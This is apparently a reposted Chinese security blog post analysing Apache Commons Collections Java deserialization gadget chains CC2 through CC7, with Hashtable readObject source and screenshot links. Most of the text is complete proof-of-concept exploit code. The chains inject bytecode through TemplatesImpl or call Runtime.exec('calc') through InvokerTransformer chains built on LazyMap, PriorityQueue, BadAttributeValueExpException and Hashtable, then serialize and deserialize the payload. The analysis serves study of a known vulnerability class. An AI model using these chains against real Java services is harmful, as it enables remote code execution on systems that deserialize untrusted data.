      _tfactory.set(templates, new TransformerFactoryImpl());
      Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
      ABSTRACT_TRANSLET.setAccessible(true);
      ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
//      Transformer transformer = templates.newTransformer();
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      HashMap<Object, Object> map = new HashMap<>();
      Map<Object, Object> decorate = LazyMap.decorate(map,chainedTransformer);
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
      Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
      Object o = constructor.newInstance(Target.class, newMap);
      serialize(o);
      deserialize("cc3.bin");
    }
}
CC6
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc3.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
      _tfactory.set(templates, new TransformerFactoryImpl());
      Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
      ABSTRACT_TRANSLET.setAccessible(true);
      ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
//      Transformer transformer = templates.newTransformer();
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      Map<Object, Object> map = new HashMap<>();
      Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
      TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
      HashMap<Object, Object> hashMap = new HashMap<>();
      hashMap.put(tiedMapEntry, null);
      map.remove(null);
      Field factory = LazyMap.class.getDeclaredField("factory");
      factory.setAccessible(true);
      factory.set(lazymap, chainedTransformer);
      serialize(hashMap);
      deserialize("cc3.bin");
    }
}

收官,分析一下yso的CC3,又有所不同,可以看到它在Transformer[]里调用的是InstantiateTransformer,还引入了TrAXFilter这个类,我们追踪一下
https://i-blog.csdnimg.cn/direct/a6ce0da6f779469f87d0f0b800f52753.png
首先TrAXFilter中会调用newTransformer
https://i-blog.csdnimg.cn/direct/a7f292df8fee449e8d22d76dfd5a0b5c.png
再看InstantiateTransformer的transform方法,获取构造器,再实例化,刚好可以触发TrAXFilter
https://i-blog.csdnimg.cn/direct/2aa517ed83dd48218bf669d92ce557cd.png
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc3.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
      _tfactory.set(templates, new TransformerFactoryImpl());
      Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
      ABSTRACT_TRANSLET.setAccessible(true);
      ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
//      Transformer transformer = templates.newTransformer();
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      HashMap<Object, Object> map = new HashMap<>();
      Map<Object, Object> decorate = LazyMap.decorate(map,chainedTransformer);
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
      Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
      Object o = constructor.newInstance(Target.class, newMap);
      serialize(o);
      deserialize("cc3.bin");
    }
}

CC4

CC4必要commoncollection4的依赖
CC4其实就是CC3的前半部门,在修改了一下后部门的一些操作,不是像CC1,CC6那样使用LazyMap来触发transform了,所以得换别的类,如 TransformingComparator,这是commoncollection4里的类,我们跟进一下,compare这里调用了transform
https://i-blog.csdnimg.cn/direct/668148925dd240b48404f0e3145079e4.png
继续跟进,看哪调用了compare,PriorityQueue类
https://i-blog.csdnimg.cn/direct/67b944b1a3ee4d9ea33d5efe12189833.png
跟进
https://i-blog.csdnimg.cn/direct/d3a8bc33ff094e3c81cae12f7f969bc2.png
继续跟进
https://i-blog.csdnimg.cn/direct/1afeeca7f2384278852136014b6775b3.png
完善
https://i-blog.csdnimg.cn/direct/2370e1076a9c48edae33155a46b3d863.png
构造exp:
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc4.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
      _tfactory.set(templates, new TransformerFactoryImpl());
      Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
      ABSTRACT_TRANSLET.setAccessible(true);
      ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
      Field transformer = TransformingComparator.class.getDeclaredField("transformer");
      transformer.setAccessible(true);
      transformer.set(transformingComparator, chainedTransformer);
      PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
      priorityQueue.add(1);
      priorityQueue.add(2);
      serialize(priorityQueue);
      deserialize("cc4.bin");
    }
}
https://i-blog.csdnimg.cn/direct/2acbf602f562474c9178902445f4da86.png
CC2

CC2与CC4不同的地方就是后半些许不同,没有用chainedtrainsform,直接用invokertransformer
直接上poc了,没啥可调试的
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc2 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc2.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
      _tfactory.set(templates, new TransformerFactoryImpl());
      Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
      ABSTRACT_TRANSLET.setAccessible(true);
      ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
      InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
      TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
      PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
      priorityQueue.add(templates);
      priorityQueue.add(2);
      Field transformer = TransformingComparator.class.getDeclaredField("transformer");
      transformer.setAccessible(true);
      transformer.set(transformingComparator, invokerTransformer);
      serialize(priorityQueue);
      deserialize("cc2.bin");
    }
}
CC5

CC5就是改了一点点的CC6,看链子,就改了readObject部门,分析一下
https://i-blog.csdnimg.cn/direct/86bc425648624fb2a0b1a8bdc6bde791.png
触发LazyMap.get换成了toString,这里调用了getValue
https://i-blog.csdnimg.cn/direct/13a60af3f37a40cdb1aed5001f3d4ad7.png
继续跟进,BadAttributeValueExpException的readObject调用了toString
https://i-blog.csdnimg.cn/direct/87d0c38506864a4fa87c151e2aa199e3.png
这样就可以构造链子了,非常简单
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc5.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      Map<Object, Object> map = new HashMap<>();
      Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
      TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
      BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
      Field val = BadAttributeValueExpException.class.getDeclaredField("val");
      val.setAccessible(true);
      val.set(badAttributeValueExpException, tiedMapEntry);
      serialize(badAttributeValueExpException);
      deserialize("cc5.bin");
    }
}

CC7

CC7的链子,这里是从LazyMap.get的调用开始修改了
https://i-blog.csdnimg.cn/direct/9143a4d4a3404e7c97a892a767b32fcb.png
追踪一下,AbstractMap类的equals调用了get
https://i-blog.csdnimg.cn/direct/db8ca79a2a7d434da89cc5f6e4446fed.png
继续追踪equals,AbstractMapDecorator的equals调用了
https://i-blog.csdnimg.cn/direct/1cfa87ff92534ed49430c5c232d02487.png
继续追踪,为什么要用reconstitutionPut?Hashtable里另有很多多少地方都调用了equals
https://i-blog.csdnimg.cn/direct/499eaa96ad11417fb8d119beb8884e76.png
因为它在readObject中被调用了
    private void readObject(ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {

      ObjectInputStream.GetField fields = s.readFields();

      // Read and validate loadFactor (ignore threshold - it will be re-computed)
      float lf = fields.get("loadFactor", 0.75f);
      if (lf <= 0 || Float.isNaN(lf))
            throw new StreamCorruptedException("Illegal load factor: " + lf);
      lf = Math.min(Math.max(0.25f, lf), 4.0f);

      // Read the original length of the array and number of elements
      int origlength = s.readInt();
      int elements = s.readInt();

      // Validate # of elements
      if (elements < 0)
            throw new StreamCorruptedException("Illegal # of Elements: " + elements);

      // Clamp original length to be more than elements / loadFactor
      // (this is the invariant enforced with auto-growth)
      origlength = Math.max(origlength, (int)(elements / lf) + 1);

      // Compute new length with a bit of room 5% + 3 to grow but
      // no larger than the clamped original length.Make the length
      // odd if it's large enough, this helps distribute the entries.
      // Guard against the length ending up zero, that's not valid.
      int length = (int)((elements + elements / 20) / lf) + 3;
      if (length > elements && (length & 1) == 0)
            length--;
      length = Math.min(length, origlength);

      if (length < 0) { // overflow
            length = origlength;
      }

      // Check Map.Entry[].class since it's the nearest public type to
      // what we're actually creating.
      SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
      Hashtable.UnsafeHolder.putLoadFactor(this, lf);
      table = new Entry<?,?>;
      threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1);
      count = 0;

      // Read the number of elements and then all the key/value objects
      for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // sync is eliminated for performance
            reconstitutionPut(table, key, value);
      }
    }
这样链子就明了了,构造poc,注意AbstractMapDecorator和AbstractMap都是抽象类,并不能实例化,但是都实现了Map,所以调用equals时是调用lazyMap.equals,找不到往上找就能找到AbstractMap.equals
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc7.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
      Map<Object, Object> map1 = new HashMap<>();
      Map<Object, Object> map2 = new HashMap<>();
      Map<Object, Object> lazymap1 = LazyMap.decorate(map1, chainedTransformer);
      Map<Object, Object> lazymap2 = LazyMap.decorate(map2, chainedTransformer);
      lazymap1.put("yy", 1);
      lazymap2.put("zZ",1);
      Hashtable hashtable = new Hashtable<>();
      hashtable.put(lazymap1, 1);
      hashtable.put(lazymap2,2);
      Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
      iTransformers.setAccessible(true);
      iTransformers.set(chainedTransformer, transformers);
      lazymap2.remove("yy");
      serialize(hashtable);
      deserialize("cc7.bin");
    }
}


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Java安全-CC链全分析